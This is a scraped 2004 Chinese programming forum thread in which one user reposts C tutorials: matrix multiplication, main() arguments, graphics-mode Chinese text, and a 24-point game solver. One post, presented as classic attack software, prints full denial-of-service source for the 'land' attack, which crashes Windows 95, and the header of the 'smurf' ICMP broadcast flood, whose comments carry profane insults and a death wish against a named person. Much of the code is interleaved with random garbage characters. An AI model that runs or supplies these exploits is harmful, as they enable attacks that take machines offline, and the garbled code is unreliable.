 l5 ~# Q/ r# [printf("ath not found\n");/ I) w. c. \: |& | T+ `# t1 p
}4 E0 V4 p- |1 K1 V& e
getch();
' G' m; ]& |0 ?clrscr();
3 f7 i, n/ e7 D/ r( _} </DIV>

zan

转播0 淘帖0 分享0 收藏0 支持0 反对0 微信

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

8^#

发表于 2004-10-4 02:43 |只看该作者 |招呼Ta 关注Ta

<

align=center>两个矩阵相乘的源程序<

>/*****************A=B*C******************/
#include<stdio.h>
#include<conio.h>
#define X 3
#define Y 3<

>int a[X][Y];
int b[X][Y];
int c[X][Y];<

>void matrix(int b[][X],int c[][Y]);
main()
{
int i,j,temp;
clrscr();
printf("

lease input int matrix b[%d][%d]\n",X,Y);
for(i=0;i<Y;i++)
for(j=0;j<Y;j++){
scanf("%d",&temp);
b[j]=temp;
9 b. k" Z- Y) ?}9 y! z) d' {2 G
printf("lease input int matrix c[%d][%d]\n",X,Y);
6 ~4 B+ Z5 W/ R* O$ Z3 [for(i=0;i<X;i++)
) U$ Q' h' Q' o8 e5 a+ Vfor(j=0;j<Y;j++){
0 Z- T! i7 `$ W; [$ nscanf("%d",&temp);
7 _$ g) v' w0 E' w5 \/ b2 Wc[j]=temp;
3 |% T2 S5 J' h( a! o" g, \}0 W0 A7 z1 K( ?9 v
matrix(b,c);
$ l6 C5 `9 k+ y- wprintf("Now print resource matrix b[%d][%d]=",X,Y);1 `" Q; f% H2 F3 [
for(i=0;i<X;i++){
4 G1 i- p( \; Q2 W9 [6 A% _: g3 \printf("\n");
- {6 u$ m, A/ M {for(j=0;j<Y;j++)
( Z2 Y v0 ?* _$ Q7 Fprintf("%d ",b[j]);* z" z8 P; ?9 H; ?/ j
}& n7 U! s7 R1 W# A) N0 Z% f# ?" p
printf("\n");
3 c; t+ S P1 h5 ~* p9 Jprintf("Now print resource matrix c[%d][%d]=",X,Y);! o6 T* z! R* v4 O5 K5 }
for(i=0;i<X;i++){0 J3 G! E: T2 b+ p. F( O% d7 T& U
printf("\n");
5 A$ \. K7 o v6 |for(j=0;j<Y;j++)
/ y+ N; B$ v3 T$ m, P5 `+ ^printf("%d ",c[j]);
1 f( Y" _7 g/ d6 r0 b' H9 _9 x}2 s( ?, T7 `+ s0 ^8 e
printf("\n");
2 g3 e% ]* S' Y& Wprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);/ z, }4 R# D% u5 U# H' S
for(i=0;i<X;i++){9 ]* T0 I2 P' W
printf("\n");/ ~+ _9 ~; \+ \8 p) v h/ O2 C0 U
for(j=0;j<Y;j++)
9 v l; k" K I+ eprintf("%d ",a[j]);9 Y3 l5 Z& e; }3 M
}% ?9 g: { X! @
getch();
2 J# i- S" X3 |, q! ~. @return 0;
; v- A% d# z& q9 x i* M}
& W; u9 g/ I1 H6 I. v# o1 ?/********************************************************************/+ r& x$ N9 O& v- B$ K3 J' v7 H0 i
void matrix(int b[][X],int c[][Y])
2 B/ C V* Z W& y- o{
5 e" R9 J! D1 M! M. Jint i,j,k,temp;- n% p& M3 x9 v7 @
for(i=0;i<X;i++)8 }! I! A6 a7 t9 Q# E
for(j=0;j<Y;j++){8 c$ m# q& W$ m
for(k=0;k<Y;k++)
! }: W8 d* w- e/ A3 A6 _* Ca[j]+=b[k]*c[k][j];. x6 ]( Q* F* K; \8 ^# g2 h
}2 m$ Y9 _9 K" p/ G! P9 a1 Z! F
}

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

7^#

发表于 2004-10-4 02:41 |只看该作者 |招呼Ta 关注Ta

<

>　　再谈main()主函数
　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
1. main() 参数
　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
　　* argc: 整数，为传给main()的命令行参数个数。
　　* argv: 字符串数组。
在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
...
argv[argc]为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

6^#

发表于 2004-10-4 02:41 |只看该作者 |招呼Ta 关注Ta

<

align=center>
图形模式下的汉字显示<

>　<

>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
　　汉字显示的第一步是打开字库文件。
　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
{
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
int rec,i1,i2,i3; /*z:space between;*/
long l; /*color:txt color*/
char by[32]; /*p:HZ str*/
if( handle<0 ) return -1; while((i=*p++)!=0){
if(i>0xa1)
if(f==0){
c1=(i-0xa1)&0x07f;
f=1;
}
else{
c2=(i-0xa1)&0x07f;
f=0;
rec=c1*94+c2;
l=rec*32L;
lseek(handle,l,SEEK_SET);
read(handle,by,32);
for(i1=0;i1<16;i1++)
for(i2=0;i2<2;i2++)
for(i3=0;i3<8;i3++)
if(GetBit(by[i1*2+i2],7-i3))
putpixel(x+i2*8+i3,y+i1,color);
x=x+z+16;
}
}
return(x);
}
函数GetBit定义如下：
　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
int GetBit(unsigned char c,int n)
{
return((c>>n)&1);
}
汉字显示结束，应该关闭字库文件。
void CloseHz(void)
{
close( handle );
}
#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
int gr=DETECT,gm;
initgraph(&gr,&gm,"\\Caic\\Bgi");
OpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
CloseHz();
getch();
closegraph();
}显示２４点阵及放大汉字
　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
{
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
long l; /*color:汉字颜色*/
char by[72]; /*m: x 方向的放大倍数*/
/*n: y 方向的放大倍数*/
if( handle<0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
if(i>0xa1)
if(f==0){
c1=(i-0xa1)&0x7f;
f=1;
}
else{
c2=(i-0xa1)&0x7f;
f=0;
rec=(c1-15)*94+c2;
l=rec*72L;
lseek(handle,l,SEEK_SET);
read(handle,by,72);
for(i1=0;i1<24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
for(i2=0;i2<=2;i2++)
for(i3=0;i3<8;i3++)
if(GetBit(by[i1/m*3+i2],7-i3))
for(i5=0;i5<N;I5++)
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
x=x+24*m+z;
}
}
return(x);
} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
int gr=DETECT,gm;
initgraph(&gr,gm,"\\Caic\\Bgi");
OpenHz( Hz24Path );
Wrt24Hz(20,20, /*先是在（x,y）*/
4, /*汉字间的空格为4*/
RED, /*用红色显示*/
2, /*x 方向放大２倍*/
4, /*y 方向放大４倍*/
HzStr); /*显示字符串*/
CloseHz();
getch();
closegraph();
}

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

5^#

发表于 2004-10-4 02:40 |只看该作者 |招呼Ta 关注Ta

<

align=center>关于二十四点游戏的编程思路与基本算法<

align=left>
　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。

　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
首先穷举的可行性问题。我把表达式如下分成三类——
1、无括号的简单表达式。
2、有一个括号的简单表达式。
3、有两个括号的较复4、杂表达式。
穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
/* ans[] 用来存放各种排列组合的数组 */
/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k[I]=I+1。
用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
int j,k[],c[];char ans[],kans[];
{ int i,p,q,r,h,flag,s[4],t[4][4];
for(p=0,q=0;p<4;p++)
{ for(r=0,flag=0;r<J;R++)
if(k[p]!=kans[r]) flag++;
if(flag==j) t[j][q++]=k[p];
}
for(s[j]=0;s[j]<4-j;s[j]++)
{ kans[j]=t[j][s[j]];
if(j==3) { for(h=0;h<4;h++)
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
达式中的位置 */
for(h=0;h<3;h++)
symbol(ans,h); /* 在表达式中添加运算符号 */
}
else { j++;
fans(c,k,ans,kans,j);
j--;
}
}
}

　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:

/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
int sans(ans,sy,j,h)
char ans[],sy[];int j,h;
{ int i,p,k[3],m,n; char ktans[20];
for(k[j]=0;k[j]<4;k[j]++)
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
{ ans[5]=sy[k[j]];
/* 此处根据不同的表达式形式再进行相应的处理 */
}
else { j++; sans(ans,sy,j--,h); }
}
}

　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
for(m=0;m<=4;m+=2)
for(n=m+4;n<=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。

　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
<

align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。

　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。

　　那么作为栈的著名应用，表达式的计算可以有两种方法。

　　第一种方法——
　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
1、若W为操作数
2、则将W压入操作数栈OVS
3、且继续扫描下一个字符
4、若W为运算符
5、则根据运算符的性质做相应的处理：
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

　　第二种方法——
　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。

　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。

　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
表达式波兰表达式
A-B AB-
（A-B）*C+D AB-C*D+
A*（B+C/D）-E*F ABCD/+*EF*-
（B+C）/（A-D） BC+AD-/

　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。

　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。

　　下面给出转换和计算的具体实现程序——

/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
int first(char c)
{ int p;
switch(c)
{ case '*': p=2; break;
case '/': p=2; break;
case '+': p=1; break;
case '-': p=1; break;
case '(': p=0; break;
case '=': p=-1; break;
}
return(p);
}
/* 此函数实现中缀到后缀的转换 */
/* M的值宏定义为20 */
/* sp[]为表达式数组 */
int mid_last()
{ int i=0,j=0; char c,sm[M];
c=s[0]; sm[0]='='; top=0;
while(c!='\0')
{ if(islower(c)) sp[j++]=c;
else switch(c)
{ case '+':
case '-':
case '*':
case '/': while(first(c)<=first(sm[top]))
sp[j++]=sm[top--];
sm[++top]=c; break;
case '(': sm[++top]=c; break;
case ')': while(sm[top]!='(')
sp[j++]=sm[top--];
top--; break;
default :return(1);
}
c=s[++i];
}
while(top>0) sp[j++]=sm[top--];
sp[j]='\0'; return(0);
}
/* 由后缀表达式来计算表达式的值 */
int calc()
{ int i=0,sm[M],tr; char c;
c=sp[0]; top=-1;
while(c!='\0')
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
这样才可以更方便的处理非一位数，
ver数组中存放着这些字母所代替的数*/
else switch(c)
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
case '-': tr=sm[top--]; sm[top]-=tr; break;
case '*': tr=sm[top--]; sm[top]*=tr; break;
case '/': tr=sm[top--];sm[top]/=tr;break;
default : return(1);
}
c=sp[++i];
}
if(top>0) return(1);
else { result=sm[top]; return(0); }
}

　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。

　　最后我总结了一下这其中容易出错的地方——

　　1、排列的时候由于一个数只能出现一次，所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。

　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。

　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。

　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。

　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。

　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

4^#

发表于 2004-10-4 02:40 |只看该作者 |招呼Ta 关注Ta

<DIV align=center>以前常用的攻击软件源代码 </DIV><

>常用攻击程序<

>Abstract
这里有一些是老的，现在看来并没有用，但他们都很有名。<

>1 Land<

>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。<

>
/* land.c by m3lt, FLC
crashes a win95 box */<

>#include <STDIO.H>
#include <NETDB.H>
#include <ARPA inet.h>
#include <NETINET in.h>
#include <SYS types.h>
#include <SYS socket.h>
#include <NETINET ip.h>
#include <NETINET tcp.h><

>//用于TCP校验和的伪头
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};<

>//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;<

>for(i=0;i<(length>>1);i++)
value+=data;<>if((length&1)==1)5 J" X4 W* U! F! c# I) v
value+=(data<<8);<>value=(value&65535)+(value>>16);<>return(~value);
" R+ }: ~8 J% {/ Y1 e5 N" H+ _}<>% ?* z0 |8 I& A5 [
int main(int argc,char * * argv); e0 d3 w! [0 m. r4 W
{
7 V- R- y1 ^* C, L6 D6 s0 Xstruct sockaddr_in sin;
+ Y( r- |2 W" d4 U( L% s4 Rstruct hostent * hoste;
) W2 O8 c1 ^. v; B& _$ e* Oint sock;
4 ^6 q' `( F" f( j5 g6 I7 \char buffer[40];
- a) U ]. u- Q* D1 Z8 ?9 K) G3 zstruct iphdr * ipheader=(struct iphdr *) buffer;* L8 ~( Z0 l) h& c9 _; P9 I
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));( i2 E2 ?! _! r8 r8 H' H" o* d
struct pseudohdr pseudoheader;<>fprintf(stderr,"land.c by m3lt, FLC\n");<>if(argc<3)2 v( f) o* c- Y5 Z) w2 h
{
2 S( G& Q( G3 Q! X- r M# efprintf(stderr,"usage: %s IP port\n",argv[0]);2 G/ V s" K6 b6 B3 U
return(-1);
! i$ E; P6 R, D! x7 E}<>bzero(&sin,sizeof(struct sockaddr_in));
$ _" W7 B4 O7 s4 l! }( Csin.sin_family=AF_INET;<>if((hoste=gethostbyname(argv[1]))!=NULL)
- _ ]) `8 W+ O" N$ Y. q' Hbcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
5 H d! T6 I2 N/ l! \else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
3 y. |) k0 d, g+ s; ~: G{! Q8 L% M; i+ J l
fprintf(stderr,"unknown host %s\n",argv[1]);
% v V% F% x& e: U- zreturn(-1);
0 s" }5 T& l$ ^) Y5 U}<>if((sin.sin_port=htons(atoi(argv[2])))==0)3 P3 n/ O8 h; e- {2 P
{2 { ~# q4 B1 d% @: E# N4 z! v
fprintf(stderr,"unknown port %s\n",argv[2]);5 s+ `" Q6 m5 j/ N/ B# e/ V" s7 O
return(-1);
6 F: ]/ I/ |$ K* y% G) H}<>//new一个SOCK—RAW以发伪造IP包这需要root权限( F9 v/ o& ]. D, d q! Y5 E
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)8 b! ]5 \" c$ Q$ F+ X# K, ?
{2 i9 ^% ~. Y n, ]* l# o: b
fprintf(stderr,"couldn't allocate raw socket\n");+ Z# I4 Y* q' x2 {
return(-1);8 c& `5 d8 h3 f& E- i. _9 y
}<>bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));( B* |( Q1 D: s# G
ipheader->version=4;( |* I3 ~* j! w8 o9 }
ipheader->ihl=sizeof(struct iphdr)/4;
, Q2 t2 H, a, @; H, g5 G4 ]6 c1 s9 iipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));; K3 x) K, a$ w1 _* N
ipheader->id=htons(0xF1C);6 _2 {5 H; p6 i+ J: @
ipheader->ttl=255;# {) \0 l/ I! o; G8 H
ipheader->protocol=IP_TCP;<>//目的IP地址和源IP地址相同
: g% h7 I; g1 O( _9 w' kipheader->saddr=sin.sin_addr.s_addr;
9 t& c$ C7 G/ F( `ipheader->daddr=sin.sin_addr.s_addr;<>//目的TCP端口和源TCPIP端口相同
* A2 }2 i7 b8 C' ?tcpheader->th_sport=sin.sin_port;5 v5 _2 @# ~) c/ y- ~5 ^8 T% u Z: C
tcpheader->th_dport=sin.sin_port;( i2 W8 b9 E+ }# S+ ]
tcpheader->th_seq=htonl(0xF1C);4 @& {) m) p7 B9 a2 z+ u
tcpheader->th_flags=TH_SYN;- T* O4 w% H3 R" g: s; W
tcpheader->th_off=sizeof(struct tcphdr)/4;; I1 r& d- c$ x T0 e4 p
tcpheader->th_win=htons(2048);<>bzero(&pseudoheader,12+sizeof(struct tcphdr));
$ B. j; b* g( @9 N4 }pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
/ s2 r& C# U U, p8 e- d9 a& Vpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
 g7 S; p1 b5 g3 R4 \2 epseudoheader.protocol=6;
& g( e. R& b1 upseudoheader.length=htons(sizeof(struct tcphdr));
2 r7 ^" x* G1 k$ A# {) L8 abcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));# r# y; K4 ^* j0 ~
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));<>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),( A: x! W; P# s5 y4 S0 v
0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)6 C* Y( J m7 r9 G. S: g/ w B3 u$ m
{8 z5 L' p- b! [6 ~- a% o) A
fprintf(stderr,"couldn't send packet\n");
9 f+ X$ O2 D; l8 Oreturn(-1);$ H, [- {! n( A- I, @
}<>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);<>close(sock);! d Y& E. u3 G& B
return(0);
; [. i8 n; I9 e6 V}<>+ W( X! E6 U2 s2 N9 k
2 Smurf& H: }" t2 u4 Q3 @) |
smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数4 m9 d3 T3 Y$ B0 r$ s% H2 c7 L; c
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包$ j7 ]8 Q7 t, H1 t2 ?6 J8 a$ Q
的源地址）崩溃。<>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
5 l5 I% P, ]( I8 yicmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢5 e3 |& t5 N+ ?7 d8 p
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。<>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。<>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变% V" ~4 j/ k3 p4 F, ^9 i
成不可能（没有WINS服务器时）。/*# C5 m1 J1 A3 O
*
5 q# O$ J I* k1 [: Q* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $5 P( `) e7 d% H+ b+ B5 S Z) C- ]( |
*! U+ X X; y( m4 s: n8 b: l
* spoofs icmp packets from a host to various broadcast addresses resulting
7 W4 K8 _- e K# M! f/ \8 t* in multiple replies to that host from a single packet.
2 T r5 o3 Q, \- j+ k5 M*
# Y* h8 R3 L3 \: U" p& K0 r2 h7 X* mad head t2 d) A! g+ o& T4 ^
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,- W. O/ h% j4 p
* MissSatan for swallowing, napster for pimping my sister, the guy that
$ U e. b8 Q9 I6 {' f, f* invented vaseline, fyber for trying, knowy, old school #havok, kain
6 o+ I. H, P& R& A4 A# v4 c* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might: D; E6 L4 l5 b
* have missed (you know who you are).
% f# b. g( r/ }/ s6 z3 f! V*
2 }8 @5 t# R) i; y* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy0 _, S: @! e' ^& a3 ]7 i& E4 V
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
5 U+ P& ?* x8 ?1 D- M1 z. t* half the cheque).
4 q" ] J' F$ w*+ H9 B/ T* h5 m9 j. u5 S% h
* and a special hi to Todd, face it dude, you're fucking awesome.
 M3 ?% ?; S. H" n*8 _5 V2 ?; i Q% o- k2 Q* Q
* mad anal t
" W" i, n6 r/ R* ?( @% g* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
$ V' J) f }9 C* because they plain suck, Rolex for being a twit, everyone that
9 n0 z9 L% B( F& K5 e3 y' I$ C* trades warez, Caren for being a lesbian hoe, AcidKill for being her
5 Z6 B8 p/ H( F7 v* I' G* partner, #cha0s, sedriss for having an ego in inverse proportion to
5 P5 Z+ T) _8 Y& V7 L' P0 o* his penis and anyone that can't pee standing up -- you don't know what
+ H, y5 O$ W7 @8 g* your missing out on.* D' ^1 ?7 R& r. v. |
*8 _+ k1 n% T- N
* and anyone thats ripped my code (diff smurf.c axcast.c is rather9 ~& x( {9 Q3 s# _" D, \. ~
* interesting).
$ t5 V! x9 `. _; y: n& ]' N*
. l# r6 @" b$ t* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
% }+ B9 K0 U; J* Robbins for trying to steal my girlfriend. Not only did you show me2 j1 ?! z+ e! G
* no respect but you're a manipulating prick who tried to take away the
7 O+ M! t6 E* G' c6 a' V* most important thing in the world to me with no guilt whatsoever, and
- j# g2 z# ?4 F$ o P* k2 [0 J* for that I wish you nothing but pain. Die.+ C+ c! r5 s2 r& L* j' r
*/ h7 i- I( u# [3 a; \
* disclaimer:' Q7 ?9 ?" b9 g2 V. e4 L f: f
* I cannot and will not be held responsible nor legally bound for the0 Y/ }' Z. f d: F3 {# R
* malicious activities of individuals who come into possession of this: h$ X5 V2 Q: S/ o2 u
* program and I refuse to provide help or support of any kind and do NOT
! B" _- E% r7 \- a- O. ~1 w! P* condone use of this program to deny service to anyone or any machine.8 C2 H& p2 E8 u/ D
* This is for educational use only. Please Don't abuse this.1 H% c' _" M9 d4 D8 }3 I) z8 o
*4 j3 z M/ ?! F8 ?; i5 L2 S& y4 y( C7 ^
* Well, i really, really, hate this code, but yet here I am creating another
% J: s1 `" {# b( R: l! R* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
! |$ F# y! E; r# `, X9 \* like most programmers don't like seeing bugs in their code. I saw a few9 Z& m- [- Y" @) j" h* g
* things that should have been done better or needed fixing so I fixed
# C% E. m4 h* n9 A- s* them. -shrug-, programming for me as always seemed to take the pain away
0 Z: J( x# S y* W2 ^* ...
